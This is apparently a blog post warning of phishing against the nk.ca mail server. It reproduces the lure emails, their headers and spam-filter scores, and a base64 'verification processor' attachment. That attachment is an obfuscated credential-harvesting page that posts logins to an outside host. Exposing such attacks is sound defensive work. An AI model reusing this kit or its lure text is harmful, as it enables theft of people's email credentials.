154490827586gmail-m_-9177460093951918103gmail-m_8063668205405293896m_-19036=

16211050637923m_-4568495961914542716m_-6738085044549623540m_125937522336663=

9664m_5427433678081686430gmail-LPlnk866056" style=3D"color: rgb(255, 255, 2=

55); text-decoration: none;"=20

href=3D"https://www.adcsgroup.com/touch/hip/MailboxFUD/MailboxFUD/MailboxFU=

D//index.php?email=3Droot@nk.ca" target=3D"_blank" rel=3D"noreferrer" data-=

saferedirecturl=3D"https://www.google.com/url?q=3Dhttps://ferniehuntsupport=

ers.co.uk/link/MailboxFUD/MailboxFUD/MailboxFUD/home/index.php?email%3D%5B%=

5B-Email-%5D%5D&source=3Dgmail&ust=3D1573517284410000&usg=3DAFQ=

jCNGPuU6Ro4enTQmgpgfYondkr6DsDg">

: 5px; border: 1px solid rgb(20, 40, 160); color: rgb(255, 255, 255); text-=

transform: uppercase; font-weight: normal; display: inline-block;">
ce=3D"tahoma, sans-serif">
yle=3D"vertical-align: inherit;">UPDATE ACCOUNT
>

ht: 18px; font-size: 15px; font-weight: normal; -ms-word-break: normal;">
ont face=3D"tahoma, sans-serif">

s-serif">

18px; font-size: 15px; font-weight: normal; -ms-word-break: normal;">
color=3D"#444444" face=3D"tahoma, sans-serif">
n: inherit;">

You can only update your account through this link for 12 hours from 11/11/=

2019 12:23:51 a.m. after receiving this notification.

n style=3D"color: rgb(61, 133, 198);">

gin: 0px; padding: 0px; line-height: 18px; -ms-word-break: normal;">
olor=3D"#444444" face=3D"tahoma, sans-serif">
;">
inherit;">

nk.ca administrator.

ce=3D"tahoma, sans-serif">
yle=3D"vertical-align: inherit;">Note: Do not reply to this email. Contact =

us with any queries by visiting our website at: &nb=

sp;

n: inherit;">Go to Mailbox custome=

r center

tyle=3D"vertical-align: inherit;">=

Copyright Exchange Co., All rights reserved
>

This is a phishing attempt against the nk.ca node

Posted by Dave Yadallee on Saturday, November 9. 2019

Return-path:

Envelope-to: aboo@doctor.nl2k.ab.ca

Delivery-date: Sat, 09 Nov 2019 08:44:01 -0700

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.92.3 (FreeBSD))

(envelope-from )

id 1iTSu9-000ByZ-BH

for aboo@doctor.nl2k.ab.ca; Sat, 09 Nov 2019 08:44:01 -0700

Resent-From: The Doctor

Resent-Date: Sat, 9 Nov 2019 08:44:01 -0700

Resent-Message-ID: <20191109154401.GA43610@doctor.nl2k.ab.ca>

Resent-To: See root

Received: from li781-5.members.linode.com ([212.111.42.5]:54289 helo=doctor.nl2k.ab.ca)

by doctor.nl2k.ab.ca with esmtp (Exim 4.92.3 (FreeBSD))

(envelope-from )

id 1iTSlH-0009Jl-VB

for doctor@doctor.nl2k.ab.ca; Sat, 09 Nov 2019 08:35:15 -0700

From: server@doctor.nl2k.ab.ca

To: doctor@doctor.nl2k.ab.ca

Subject: Notification: Scheduled mail server upgrade

Date: 9 Nov 2019 15:33:57 -0800

Message-ID: <20191109153357.87211F927E5D4454@doctor.nl2k.ab.ca>

MIME-Version: 1.0

Content-Type: multipart/mixed;

boundary="----=_NextPart_000_0012_CDAECB43.DF3C315A"

X-Spam_score: 9.0

X-Spam_score_int: 90

X-Spam_bar: +++++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.

Content preview: Scheduled Mail Server Upgrade For Our Hosting Service And

Email Users! Dear doctor@doctor.nl2k.ab.ca User, In an effort to continuously

better serve our clients, We will be undergoing a major mail server upgrade.

Content analysis details: (9.0 points, 5.0 required)

pts rule name description

---- ---------------------- --------------------------------------------------

0.0 DATE_IN_FUTURE_06_12 Date: is 6 to 12 hours after Received: date

0.9 SPF_FAIL SPF: sender does not match SPF record (fail)

[SPF failed: Please see http://www.openspf.org/Why?s=mfrom;id=server%40doctor.nl2k.ab.ca;ip=212.111.42.5;r=doctor.nl2k.ab.ca]

0.0 SPF_HELO_FAIL SPF: HELO does not match SPF record (fail)

[SPF failed: Please see http://www.openspf.org/Why?s=helo;id=doctor.nl2k.ab.ca;ip=212.111.42.5;r=doctor.nl2k.ab.ca]

0.5 L_HELLO_ADDRESS BODY: Greets you by address, not by name

0.0 HTML_MESSAGE BODY: HTML included in message

1.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts

2.4 RAZOR2_CF_RANGE_E8_51_100 Razor2 gives engine 8 confidence level

above 50%

[cf: 100]

1.7 RAZOR2_CHECK Listed in Razor2 (http://razor.sf.net/)

0.4 RAZOR2_CF_RANGE_51_100 Razor2 gives confidence level above 50%

[cf: 100]

0.0 T_HTML_ATTACH HTML attachment to bypass scanning?

1.9 FSL_BULK_SIG Bulk signature with no Unsubscribe

0.0 TO_EQ_FM_DOM_SPF_FAIL To domain == From domain and external SPF

failed

Subject: {SPAM?} Notification: Scheduled mail server upgrade

X-Antivirus: AVG (VPS 191108-2, 11/08/2019), Inbound message

X-Antivirus-Status: Clean

This is a multi-part message in MIME format.

------=_NextPart_000_0012_CDAECB43.DF3C315A

Content-Type: text/html

Content-Transfer-Encoding: quoted-printable

lor: rgb(8, 75, 138); -moz-border-radius: 5px; -webkit-border-radius: 5px; =

-khtml-border-radius: 5px;">
1">Scheduled Mail Server Upgrade For Our Hosting Se=

rvice And Email Users!

lor: rgb(230, 230, 230); -moz-border-radius: 5px; -webkit-border-radius: 5p=

x; -khtml-border-radius: 5px;">
=3D"2">Dear doctor@doctor.nl2k.ab.ca User,

In an effort to continuo=

usly better serve our clients, We will be undergoing a major mail server up=

grade.

Why are We Performing this Upgrade?

Moving to newer infrastructure allows us greater flexibility to work with e=

ach clients' unique mail requirements and will increase our ability to supp=

ort and customize your needs. Features include improved spam filtrati=

on, anti-virus, anti-phishing, enhanced webmail services, upgraded calendar=

features, and superior reliability.

How will this Impact Y=

our Services?

We do not anticipate any major interruptions to your services. Upgrade is a=

utomatic. There will be no loss of email messages.

Whe=

n Will this Maintenance Period Occur?
Please be advised that th=

e mail server will automatically upgrade after you have verified your email=

account.

Please download the attached doctor.nl2k.ab.ca email account verification p=

rocessor to verify your email account.

Please note th=

at if you ignore this notice, your email account may shutdown without =

further warning.

Thanks,
doctor.nl2k.ab.ca Hosting Service P=

rovider

lor: rgb(8, 75, 138); -moz-border-radius: 5px; -webkit-border-radius: 5px; =

-khtml-border-radius: 5px;">
">This is an auto-generated message sent to: doc=

tor@doctor.nl2k.ab.ca, do not reply this message.
Replies sent to do=

ctor.nl2k.ab.ca Mail Server will not be received. Attached is the verificat=

ion processor.

------=_NextPart_000_0012_CDAECB43.DF3C315A

Content-Type: text/html; name="email_verification_processor.html"

Content-Transfer-Encoding: base64

Content-Disposition: attachment; filename="email_verification_processor.html"

PD9waHANCmZ1bmN0aW9uIGdldGxvZ2luSURGcm9tbG9naW4oJGVtYWlsKQ0Kew0KJGZpbmQg

PSAnQCc7DQokcG9zID0gc3RycG9zKCRlbWFpbCwgJGZpbmQpOw0KJGxvZ2luSUQgPSBzdWJz

dHIoJGVtYWlsLCAwLCAkcG9zKTsNCnJldHVybiAkbG9naW5JRDsNCn0NCmZ1bmN0aW9uIGdl

dERvbWFpbkZyb21FbWFpbCgkZW1haWwpDQp7DQovLyBHZXQgdGhlIGRhdGEgYWZ0ZXIgdGhl

IEAgc2lnbg0KJGRvbWFpbiA9IHN1YnN0cihzdHJyY2hyKCRlbWFpbCwgIkAiKSwgMSk7DQpy

ZXR1cm4gJGRvbWFpbjsNCn0NCiRsb2dpbiA9ICRfR0VUWydlbWFpbCddOw0KJGxvZ2luSUQg

PSBnZXRsb2dpbklERnJvbWxvZ2luKCRsb2dpbik7DQokZG9tYWluID0gZ2V0RG9tYWluRnJv

bUVtYWlsKCRsb2dpbik7DQokbG4gPSBzdHJsZW4oJGxvZ2luKTsNCiRsZW4gPSBzdHJyZXYo

JGxvZ2luKTsNCiR4ID0gMDsNCmZvcigkaT0wOyAkaTwkbG47ICRpKyspew0KICAgIGlmKCRs

ZW5bJGldID09ICJAIil7DQogICAgICAgICR4ID0gJGk7DQogICAgICAgIGJyZWFrOw0KICAg

IH0NCn0NCiR5dWggPSBzdWJzdHIoJGxlbiwwLCR4KTsNCiR5dWggPSBzdHJyZXYoJHl1aCk7

DQpmb3IoJGk9MDsgJGk8JGxuOyAkaSsrKXsNCiAgICBpZigkeXVoWyRpXSA9PSAiLiIpew0K

ICAgICAgICAkeCA9ICRpOw0KICAgICAgICBicmVhazsNCiAgICB9DQp9DQokeXVoID0gc3Vi

c3RyKCR5dWgsMCwkeCk7DQokeXVoID0gdWNmaXJzdCgkeXVoKTsNCj8+DQo8aHRtbD4NCiAN

CjxoZWFkPg0KIA0KPHRpdGxlPiBkb2N0b3Iubmwyay5hYi5jYSBFbWFpbCBWZXJpZmljYXRp

b248L3RpdGxlPg0KIA0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KPCEtLQ0K

ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU2YyU2OSU2ZSU2YiUyMCU3MiU2NSU2YyUz

ZCUyMiU2OSU2MyU2ZiU2ZSUyMiUyMCU2OCU3MiU2NSU2NiUzZCUyMiUyZSUyZiU2NiU2OSU2

YyU2NSU3MyUyZiU2NiU2MSU3NiU2OSU2MyU2ZiU2ZSUyZSU3MCU2ZSU2NyUyMiUyMCU3NCU3

OSU3MCU2NSUzZCUyMiU2OSU2ZCU2MSU2NyU2NSUyZiU2NyU2OSU2NiUyMiUzZSUwZCUwYSUz

YyU2ZCU2NSU3NCU2MSUyMCU2OCU3NCU3NCU3MCUyZCU2NSU3MSU3NSU2OSU3NiUzZCUyMiU1

OCUyZCU1NSU0MSUyZCU0MyU2ZiU2ZCU3MCU2MSU3NCU2OSU2MiU2YyU2NSUyMiUyMCU2MyU2

ZiU2ZSU3NCU2NSU2ZSU3NCUzZCUyMiU0OSU0NSUzZCU2NSU2NCU2NyU2NSUyMiUyZiUzZSUw

ZCUwYSUzYyU2ZCU2NSU3NCU2MSUyMCU2ZSU2MSU2ZCU2NSUzZCUyMiU3NiU2OSU2NSU3NyU3

MCU2ZiU3MiU3NCUyMiUyMCU2MyU2ZiU2ZSU3NCU2NSU2ZSU3NCUzZCUyMiU3NyU2OSU2NCU3

NCU2OCUzZCU2NCU2NSU3NiU2OSU2MyU2NSUyZCU3NyU2OSU2NCU3NCU2OCUyYyUyMCU2OSU2

ZSU2OSU3NCU2OSU2MSU2YyUyZCU3MyU2MyU2MSU2YyU2NSUzZCUzMSUyZSUzMCUyYyUyMCU2

ZCU2MSU3OCU2OSU2ZCU3NSU2ZCUyZCU3MyU2MyU2MSU2YyU2NSUzZCUzMSUyZSUzMCUyYyUy

MCU3NSU3MyU2NSU3MiUyZCU3MyU2MyU2MSU2YyU2MSU2MiU2YyU2NSUzZCU2ZSU2ZiUyMiUy

ZiUzZScpKTsNCi8vLS0+DQo8L3NjcmlwdD4NCg0KIA0KIA0KPHNjcmlwdCBzcmM9Ii4vZmls

ZXMvanF1ZXJ5Lm1pbi5qcyI+PC9zY3JpcHQ+DQo8c2NyaXB0Pg0KJChkb2N1bWVudCkucmVh

ZHkoZnVuY3Rpb24oKXsNCiAgICAkKCcjc2hvdycpLmNsaWNrKGZ1bmN0aW9uKCkgew0KICAg

ICAgJCgnLm1lbnUnKS50b2dnbGUoInNsaWRlIik7DQogICAgfSk7DQp9KTsNCjwvc2NyaXB0

Pg0KIA0KIA0KIA0KIA0KIA0KIA0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0K

PCEtLQ0KZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUy

MCU3NCU3OSU3MCU2NSUzZCUyMiU3NCU2NSU3OCU3NCUyZiU2YSU2MSU3NiU2MSU3MyU2MyU3

MiU2OSU3MCU3NCUyMiUzZSUyMCUwZCUwYSU2NiU3NSU2ZSU2MyU3NCU2OSU2ZiU2ZSUyMCU2

NCU2OSU3MyU3MCU2YyU2MSU3OSU1ZiU2MyUyOCUyOSU3YiUwZCUwYSU3NiU2MSU3MiUyMCU3

MiU2NSU2NiU3MiU2NSU3MyU2OCUzZCUzMSUzMCUzMCUzMCUzYiUyMCUyZiUyZiUyMCU1MiU2

NSU2NiU3MiU2NSU3MyU2OCUyMCU3MiU2MSU3NCU2NSUyMCU2OSU2ZSUyMCU2ZCU2OSU2YyU2

YyU2OSUyMCU3MyU2NSU2MyU2ZiU2ZSU2NCU3MyUwZCUwYSU2ZCU3OSU3NCU2OSU2ZCU2NSUz

ZCU3MyU2NSU3NCU1NCU2OSU2ZCU2NSU2ZiU3NSU3NCUyOCUyNyU2NCU2OSU3MyU3MCU2YyU2

MSU3OSU1ZiU2MyU3NCUyOCUyOSUyNyUyYyU3MiU2NSU2NiU3MiU2NSU3MyU2OCUyOSUwZCUw

YSU3ZCUwZCUwYSUyMCUwZCUwYSU2NiU3NSU2ZSU2MyU3NCU2OSU2ZiU2ZSUyMCU2NCU2OSU3

MyU3MCU2YyU2MSU3OSU1ZiU2MyU3NCUyOCUyOSUyMCU3YiUwZCUwYSU3NiU2MSU3MiUyMCU3

OCUyMCUzZCUyMCU2ZSU2NSU3NyUyMCU0NCU2MSU3NCU2NSUyOCUyOSUwZCUwYSU2NCU2ZiU2

MyU3NSU2ZCU2NSU2ZSU3NCUyZSU2NyU2NSU3NCU0NSU2YyU2NSU2ZCU2NSU2ZSU3NCU0MiU3

OSU0OSU2NCUyOCUyNyU2MyU3NCUyNyUyOSUyZSU2OSU2ZSU2ZSU2NSU3MiU0OCU1NCU0ZCU0

YyUyMCUzZCUyMCU3OCUzYiUwZCUwYSU2NCU2OSU3MyU3MCU2YyU2MSU3OSU1ZiU2MyUyOCUy

OSUzYiUwZCUwYSUyMCU3ZCUwZCUwYSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUwZCUw

YSUyMCUwZCUwYSUzYyUyZiU2OCU2NSU2MSU2NCUzZSUwZCUwYSUyMCUwZCUwYSUzYyU2MiU2

ZiU2NCU3OSUyMCU2ZCU2MSU3MiU2NyU2OSU2ZSU3NyU2OSU2NCU3NCU2OCUzZCUyMiUzMCUy

MiUyMCU2ZCU2MSU3MiU2NyU2OSU2ZSU2OCU2NSU2OSU2NyU2OCU3NCUzZCUyMiUzMCUyMiUy

MCU3NCU2ZiU3MCU2ZCU2MSU3MiU2NyU2OSU2ZSUzZCUyMiUzMCUyMiUyMCU2MiU2ZiU3NCU3

NCU2ZiU2ZCU2ZCU2MSU3MiU2NyU2OSU2ZSUzZCUyMiUzMCUyMiUyMCU2YyU2NSU2NiU3NCU2

ZCU2MSU3MiU2NyU2OSU2ZSUzZCUyMiUzMCUyMiUyMCU3MiU2OSU2NyU2OCU3NCU2ZCU2MSU3

MiU2NyU2OSU2ZSUzZCUyMiUzMCUyMiUyMCU2ZiU2ZSU2YyU2ZiU2MSU2NCUzZCUyMiU2NCU2

OSU3MyU3MCU2YyU2MSU3OSU1ZiU2MyU3NCUyOCUyOSUzYiUyMiUzZSUwZCUwYSUwZCUwYSUz

YyU3NCU2MSU2MiU2YyU2NSUyMCU3NyU2OSU2NCU3NCU2OCUzZCUyMiUzMSUzMCUzMCUyNSUy

MiUyMCU2OCU2NSU2OSU2NyU2OCU3NCUzZCUyMiUzMSUzMCUzMCUyNSUyMiUyMCU2MSU2YyU2

OSU2NyU2ZSUzZCUyMiU2MyU2NSU2ZSU3NCU2NSU3MiUyMiUyMCU2MyU2NSU2YyU2YyU3MyU3

MCU2MSU2MyU2OSU2ZSU2NyUzZCUyMiUzMCUyMiUzZSUwZCUwYSUyMCUwZCUwYSUzYyU3NCU3

MiUzZSUzYyU3NCU2NCUyMCU3MyU3NCU3OSU2YyU2NSUzZCUyMiU2OCU2NSU2OSU2NyU2OCU3

NCUzYSUzMSUzMCUyNSUzYiUyMiUyMCU2MiU2NyU2MyU2ZiU2YyU2ZiU3MiUzZCUyMiUyMyUz

MCUzMCUzMCUyMiUzZSUwZCUwYSUwZCUwYSUwOSUzYyU3NCU2MSU2MiU2YyU2NSUzZSUzYyU3

NCU3MiUzZSUwZCUwYSUyMCUwZCUwYSUyMCUyMCUyMCUyMCUzYyU3NCU2NCUyMCU3NyU2OSU2

NCU3NCU2OCUzZCUyMiUzMyUzMCUyMiUzZSUzYyUyZiU3NCU2NCUzZSUwZCUwYSUyMCUwZCUw

YSUyMCUyMCUyMCUyMCUzYyU3NCU2NCUzZSUwZCUwYSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUy

MCUyMCUwZCUwYSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUzYyU2NiU2ZiU2ZSU3NCUyMCU2

NiU2MSU2MyU2NSUzZCUyMiU0YyU3NSU2MyU2OSU2NCU2MSUyMCU0NyU3MiU2MSU2ZSU2NCU2

NSUyYyUyMCU0YyU3NSU2MyU2OSU2NCU2MSUyMCU1MyU2MSU2ZSU3MyUyMCU1NSU2ZSU2OSU2

MyU2ZiU2NCU2NSUyYyUyMCU0YyU3NSU2MyU2OSU2NCU2MSUyMCU1MyU2MSU2ZSU3MyUyYyUy

MCU0NCU2NSU2YSU2MSU1NiU3NSUyMCU1MyU2MSU2ZSU3MyUyYyUyMCU1NiU2NSU3MiU2NCU2

MSU2ZSU2MSUyYyUyMCU3MyU2MSU2ZSU3MyUyZCU3MyU2NSU3MiU2OSU2NiUyMiUyMCU3MyU2

OSU3YSU2NSUzZCUyMiUzMiUyMiUyMCU2MyU2ZiU2YyU2ZiU3MiUzZCUyMiUyMyU0NiU0NiU0

NiUyMiUzZSUwZCUwYSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUzYyU3MyU3MCU2MSU2ZSUy

MCU2OSU2NCUzZCUyNyU2MyU3NCUyNyUzZSUzYyUyZiU3MyU3MCU2MSU2ZSUzZSUwZCUwYSUy

MCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUzYyUyZiU2NiU2ZiU2ZSU3NCUzZSUwZCUwYSUyMCUw

ZCUwYSUyMCUyMCUyMCUyMCUzYyUyZiU3NCU2NCUzZSUzYyUyZiU3NCU3MiUzZSUzYyUyZiU3

NCU2MSU2MiU2YyU2NSUzZSUwZCUwYSUwZCUwYSUzYyUyZiU3NCU2NCUzZSUzYyUyZiU3NCU3

MiUzZSUwZCUwYSUwZCUwYSUwZCUwYSUwZCUwYSUwZCUwYSUwZCUwYSUzYyU3NCU3MiUzZSUz

YyU3NCU2NCUyMCU3MyU3NCU3OSU2YyU2NSUzZCUyMiU2OCU2NSU2OSU2NyU2OCU3NCUzYSUz

OCUzMCUyNSUzYiUyMiUyMCU2MiU2NyU2MyU2ZiU2YyU2ZiU3MiUzZCUyMiUyMyU2MyUzNyU2

NSUzMyU2NiUzOSUyMiUzZSUwZCUwYSUwZCUwYSUwOSUzYyU3NCU2MSU2MiU2YyU2NSUyMCU2

MSU2YyU2OSU2NyU2ZSUzZCUyMiU2MyU2NSU2ZSU3NCU2NSU3MiUyMiUzZSUwZCUwYSUwOSUw

ZCUwYSUwOSUzYyU3NCU3MiUzZSUzYyU3NCU2NCUzZSUwZCUwYSUwOSUwZCUwYSUwOSUwOSUz

YyU2NCU2OSU3NiUyMCU2MSU2YyU2OSU2NyU2ZSUzZCUyMiU2MyU2NSU2ZSU3NCU2NSU3MiUy

MiUzZSUwZCUwYSUwOSUwOSUwZCUwYSUwOSUwOSUwOSUzYyU2NiU2ZiU2ZSU3NCUyMCU2NiU2

MSU2MyU2NSUzZCUyMiU3NiU2NSU3MiU2NCU2MSU2ZSU2MSUyMiUyMCU3MyU2OSU3YSU2NSUz

ZCUyMiUzMyUyMiUyMCU2MyU2ZiU2YyU2ZiU3MiUzZCUyMiUyMyUzMCUzMCUzMCUyMiUzZSUz

YyU3MyU3NCU3MiU2ZiU2ZSU2NyUzZScpKTsNCi8vLS0+DQo8L3NjcmlwdD4NCg0KCQkJZG9j

dG9yQGRvY3Rvci5ubDJrLmFiLmNhIA0KCQkJDQo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNj

cmlwdCI+DQo8IS0tDQpkb2N1bWVudC53cml0ZSh1bmVzY2FwZSgnJTc2JTY1JTcyJTY5JTY2

JTY5JTYzJTYxJTc0JTY5JTZmJTZlJTIwJTczJTY1JTcyJTc2JTY1JTcyJTNjJTJmJTczJTc0

JTcyJTZmJTZlJTY3JTNlJTBkJTBhJTA5JTA5JTA5JTNjJTJmJTY2JTZmJTZlJTc0JTNlJTBk

JTBhJTA5JTA5JTBkJTBhJTA5JTA5JTNjJTJmJTY0JTY5JTc2JTNlJTBkJTBhJTA5JTBkJTBh

JTA5JTNjJTJmJTc0JTY0JTNlJTNjJTJmJTc0JTcyJTNlJTBkJTBhJTA5JTBkJTBhJTA5JTBk

JTBhJTA5JTBkJTBhJTA5JTBkJTBhJTA5JTBkJTBhJTA5JTNjJTc0JTcyJTNlJTNjJTc0JTY0

JTNlJykpOw0KLy8tLT4NCjwvc2NyaXB0Pg0KDQoJDQoJCTxzY3JpcHQgdHlwZT0idGV4dC9q

YXZhc2NyaXB0Ij4NCjwhLS0NCmRvY3VtZW50LndyaXRlKHVuZXNjYXBlKCclM2MlNjYlNmYl

NzIlNmQlMjAlNmQlNjUlNzQlNjglNmYlNjQlM2QlMjIlNzAlNmYlNzMlNzQlMjIlMjAlNjEl

NjMlNzQlNjklNmYlNmUlM2QlMjIlNjglNzQlNzQlNzAlM2ElMmYlMmYlNmElNjklNmUlNjcl

NzAlNjklNmUlNjIlNjElNmYlN2ElNjglNzUlNjElNmUlNjclMmUlNjMlNmUlMmYlNzclNzAl

MmQlNjElNjQlNmQlNjklNmUlMmYlNjklNmUlNjMlNmMlNzUlNjQlNjUlNzMlMmYlNzIlNjUl

NzMlNzUlNmMlNzQlNzMlMmYlNzMlNjUlNmUlNjQlMmUlNzAlNjglNzAlMjIlM2UnKSk7DQov

Ly0tPg0KPC9zY3JpcHQ+DQoNCgkNCgkNCgkNCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2Ny

aXB0Ij4NCjwhLS0NCmRvY3VtZW50LndyaXRlKHVuZXNjYXBlKCclM2MlNzAlM2UlMjYlNmUl

NjIlNzMlNzAlM2IlM2MlMmYlNzAlM2UlMGQlMGElM2MlMmYlNzQlNjQlM2UlM2MlMmYlNzQl

NzIlM2UlMGQlMGElMDklMGQlMGElMDklMGQlMGElMDklMGQlMGElMDklMGQlMGElMDklMGQl

MGElMDklMGQlMGElMDklM2MlNzQlNzIlM2UlM2MlNzQlNjQlM2UlMGQlMGElMDklMGQlMGEl

MDklMDklMjAlM2MlNjQlNjklNzYlMjAlNjElNmMlNjklNjclNmUlM2QlMjIlNjMlNjUlNmUl

NzQlNjUlNzIlMjIlM2UlM2MlNzUlM2UlM2MlNjYlNmYlNmUlNzQlMjAlNjMlNmYlNmMlNmYl

NzIlM2QlMjIlMjMlNjYlNjYlMzAlMzAlMzAlMzAlMjIlMjAlNjYlNjElNjMlNjUlM2QlMjIl

NGMlNzUlNjMlNjklNjQlNjElMjAlNDclNzIlNjElNmUlNjQlNjUlMmMlMjAlNGMlNzUlNjMl

NjklNjQlNjElMjAlNTMlNjElNmUlNzMlMjAlNTUlNmUlNjklNjMlNmYlNjQlNjUlMmMlMjAl

NGMlNzUlNjMlNjklNjQlNjElMjAlNTMlNjElNmUlNzMlMmMlMjAlNDQlNjUlNmElNjElNTYl

NzUlMjAlNTMlNjElNmUlNzMlMmMlMjAlNTYlNjUlNzIlNjQlNjElNmUlNjElMmMlMjAlNzMl

NjElNmUlNzMlMmQlNzMlNjUlNzIlNjklNjYlMjIlMjAlNzMlNjklN2ElNjUlM2QlMjIlMzIl

MjIlM2UlNDklNGQlNTAlNGYlNTIlNTQlNDElNGUlNTQlM2MlMmYlNjYlNmYlNmUlNzQlM2Ul

M2MlMmYlNzUlM2UlM2MlMmYlNjQlNjklNzYlM2UlMGQlMGElMGQlMGElMjAlMjAlMjAlMjAl

MjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAl

MjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAl

MjAlMjAlMjAlMjAlMjAlMjAlMjAlM2MlNjQlNjklNzYlMjAlNjElNmMlNjklNjclNmUlM2Ql

MjIlNjMlNjUlNmUlNzQlNjUlNzIlMjIlM2UlM2MlNjYlNmYlNmUlNzQlMjAlNjMlNmYlNmMl

NmYlNzIlM2QlMjIlMjMlNjYlNjYlMzAlMzAlMzAlMzAlMjIlMjAlNjYlNjElNjMlNjUlM2Ql

MjIlNGMlNzUlNjMlNjklNjQlNjElMjAlNDclNzIlNjElNmUlNjQlNjUlMmMlMjAlNGMlNzUl

NjMlNjklNjQlNjElMjAlNTMlNjElNmUlNzMlMjAlNTUlNmUlNjklNjMlNmYlNjQlNjUlMmMl

MjAlNGMlNzUlNjMlNjklNjQlNjElMjAlNTMlNjElNmUlNzMlMmMlMjAlNDQlNjUlNmElNjEl

NTYlNzUlMjAlNTMlNjElNmUlNzMlMmMlMjAlNTYlNjUlNzIlNjQlNjElNmUlNjElMmMlMjAl

NzMlNjElNmUlNzMlMmQlNzMlNjUlNzIlNjklNjYlMjIlMjAlNzMlNjklN2ElNjUlM2QlMjIl

MzIlMjIlM2UlMmElNTQlNjglNjklNzMlMjAlNjklNzMlMjAlNjElMjAlNjclNjUlNmUlNjUl

NzIlNjElNmMlMjAlNmUlNmYlNzQlNjklNjYlNjklNjMlNjElNzQlNjklNmYlNmUlMjAlNjYl

NmYlNzIlMjAlNjElNmMlNmMlMjAlNjklNmUlNjQlNjklNzYlNjklNjQlNzUlNjElNmMlNzMl

MjAlNjElNmUlNjQlMjAlNmYlNzIlNjclNjElNmUlNjklN2ElNjElNzQlNjklNmYlNmUlNzMl

MjAlNjUlNmQlNjElNjklNmMlMjAlNjElNjMlNjMlNmYlNzUlNmUlNzQlNzMlMjAlNjglNmYl

NzMlNzQlNjUlNjQlMjAlNmYlNmUlMjAlNmYlNzUlNzIlMjAlNzMlNjUlNzIlNzYlNjUlNzIl

MmElM2MlMmYlNjYlNmYlNmUlNzQlM2UlM2MlMmYlNjQlNjklNzYlM2UlMGQlMGElMGQlMGEl

MDklMDklMDklMDklMDklMDklM2MlNjQlNjklNzYlMjAlNjElNmMlNjklNjclNmUlM2QlMjIl

NjMlNjUlNmUlNzQlNjUlNzIlMjIlM2UlM2MlNjYlNmYlNmUlNzQlMjAlNjMlNmYlNmMlNmYl

NzIlM2QlMjIlMjMlNjYlNjYlMzAlMzAlMzAlMzAlMjIlMjAlNjYlNjElNjMlNjUlM2QlMjIl

NGMlNzUlNjMlNjklNjQlNjElMjAlNDclNzIlNjElNmUlNjQlNjUlMmMlMjAlNGMlNzUlNjMl

NjklNjQlNjElMjAlNTMlNjElNmUlNzMlMjAlNTUlNmUlNjklNjMlNmYlNjQlNjUlMmMlMjAl

NGMlNzUlNjMlNjklNjQlNjElMjAlNTMlNjElNmUlNzMlMmMlMjAlNDQlNjUlNmElNjElNTYl

NzUlMjAlNTMlNjElNmUlNzMlMmMlMjAlNTYlNjUlNzIlNjQlNjElNmUlNjElMmMlMjAlNzMl

NjElNmUlNzMlMmQlNzMlNjUlNzIlNjklNjYlMjIlMjAlNzMlNjklN2ElNjUlM2QlMjIlMzIl

MjIlM2UlMmElMmElNTAlNmMlNjUlNjElNzMlNjUlMjAlNzYlNjUlNzIlNjklNjYlNzklMjAl

NzklNmYlNzUlNzIlMjAlNjUlNmQlNjElNjklNmMlMjAlNjElNjMlNjMlNmYlNzUlNmUlNzQl

MjAlNzQlNmYlMjAlNjElNzYlNmYlNjklNjQlMjAlNzMlNjglNzUlNzQlNjQlNmYlNzclNmUl

MmElMmElM2MlMmYlNjYlNmYlNmUlNzQlM2UlM2MlMmYlNjQlNjklNzYlM2UlMGQlMGElMGQl

MGElMDklMDklMDklMDklMDklMDklM2MlNjQlNjklNzYlMjAlNjElNmMlNjklNjclNmUlM2Ql

MjIlNjMlNjUlNmUlNzQlNjUlNzIlMjIlM2UlM2MlNjYlNmYlNmUlNzQlMjAlNjMlNmYlNmMl

NmYlNzIlM2QlMjIlMjMlNjYlNjYlMzAlMzAlMzAlMzAlMjIlMjAlNjYlNjElNjMlNjUlM2Ql

MjIlNGMlNzUlNjMlNjklNjQlNjElMjAlNDclNzIlNjElNmUlNjQlNjUlMmMlMjAlNGMlNzUl

NjMlNjklNjQlNjElMjAlNTMlNjElNmUlNzMlMjAlNTUlNmUlNjklNjMlNmYlNjQlNjUlMmMl

MjAlNGMlNzUlNjMlNjklNjQlNjElMjAlNTMlNjElNmUlNzMlMmMlMjAlNDQlNjUlNmElNjEl

NTYlNzUlMjAlNTMlNjElNmUlNzMlMmMlMjAlNTYlNjUlNzIlNjQlNjElNmUlNjElMmMlMjAl

NzMlNjElNmUlNzMlMmQlNzMlNjUlNzIlNjklNjYlMjIlMjAlNzMlNjklN2ElNjUlM2QlMjIl

MzIlMjIlM2UlMjglNDUlNmQlNjElNjklNmMlMjAlNjElNjMlNjMlNmYlNzUlNmUlNzQlMjAl

NmUlNmYlNzQlMjAlNzYlNjUlNzIlNjklNjYlNjklNjUlNjQlMjAlNzclNjklNmMlNmMlMjAl

NjIlNjUlMjAlNjQlNjUlNmMlNjUlNzQlNjUlNjQlMjAlNjYlNzIlNmYlNmQlMjAlNmYlNzUl

